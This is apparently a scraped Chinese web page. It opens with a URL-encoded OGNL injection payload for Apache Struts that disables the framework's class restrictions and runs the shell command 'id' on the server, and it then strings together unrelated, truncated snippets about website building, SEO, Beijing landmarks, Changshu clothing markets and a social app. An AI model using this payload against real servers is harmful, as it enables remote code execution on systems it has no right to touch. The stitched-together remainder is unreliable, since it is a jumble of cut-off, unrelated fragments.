%25%7b(%23instancemanager%3d%23application%5b%27org.apache.tomcat.InstanceManager%27%5d).%0d%0a(%23stack%3d%23request%5b%27struts.valueStack%27%5d).%0d%0a(%23bean%3d%23instancemanager.newInstance(%27org.apache.commons.collections.BeanMap%27)).%0d%0a(%23bean.setBean(%23stack)).%0d%0a(%23context%3d%23bean.get(%27context%27)).%0d%0a(%23bean.setBean(%23context)).%0d%0a(%23macc%3d%23bean.get(%27memberAccess%27)).%0d%0a(%23bean.setBean(%23macc)).%0d%0a(%23emptyset%3d%23instancemanager.newInstance(%27java.util.HashSet%27)).%0d%0a(%23bean.put(%27excludedClasses%27%2c%23emptyset)).%0d%0a(%23bean.put(%27excludedPackageNames%27%2c%23emptyset)).%0d%0a(%23arglist%3d%23instancemanager.newInstance(%27java.util.ArrayList%27)).%0d%0a(%23arglist.add(%27id%27)).%0d%0a(%23execute%3d%23instancemanager.newInstance(%27freemarker.template.utility.Execute%27)).%0d%0a(%23execute.exec(%23arglist))%7d本文由 貴州做網站公司 整理發布,部分圖文來源于互聯網,如有侵權,請聯系我們刪除,謝謝!
網絡推廣與網站優化公司(網絡優化與推廣專家)作為數字營銷領域的核心服務提供方,其價值在于通過技術手段與策略規劃幫助企業提升線上曝光度、用戶轉化率及品牌影響力。這...
在當今數字化時代,公司網站已成為企業展示形象、傳遞信息和開展業務的重要平臺。然而,對于許多公司來說,網站建設的價格是一個關鍵考量因素。本文將圍繞“公司網站建設價...
在當今的數字化時代,企業網站已成為企業展示形象、吸引客戶和開展業務的重要平臺。然而,對于許多中小企業來說,高昂的網站建設費用可能會成為其發展的瓶頸。幸運的是,隨...
西直門三棟大樓叫什么?西直門的三座建筑統稱西環廣場。西環廣場由三面橢圓形玻璃幕墻和一座方形建筑組成,創造了在地鐵上建高樓的歷史。是北京北站旁邊的標志性建筑。行駛到北二環或者西二環的時候非常醒目。其實更像是風水學中三座山的意思,北面有山。北京北站凱德mall是哪個店?它就是凱德mall西直門店,位于西直門立交橋西北角兩點半的拋物大廈,也就是西環廣場,離北京北站很近。北京哪有太平鳥專柜?太平鳥(西直門...
我想知道常熟最便宜的服裝批發市場在哪里,我要具體地點和位置? ;地址在常熟招商城長途汽車站對面的招商場,與常熟招商城長途汽車站門對門。江蘇常熟招商城是最大的服裝批發市場,包括常熟飛越彩虹服裝城、常熟凱萊女裝有限公司;;常熟國際服裝城寫字樓、常熟招商市場、常熟環球服裝城、常熟時裝中心、男裝店穿中心等等。其實你去招商局城隨便問問,一般都知道,關鍵看你想要什么樣的衣服。常熟哪里買大碼女裝?常熟大碼女裝...
如何評價多閃這款軟件?謝謝。歡迎關注黑桃。讓我們和小編談談這個新的帶有社會元素的多閃標題作品。我們來談談現在的社交軟件,騰訊的微信可以說是一個占主導地位的公司,它的家庭QQ也在下降,所以對于騰訊來說,它會盡力保持微信的社會地位,新版的微信7也就在于此,但是微信的努力不會減少競爭對手的努力,而且標題的內容有其自身的基礎,每天有2億5000萬用戶,微信的地位受到挑戰。這是多閃光燈。但是,如果它和微信完...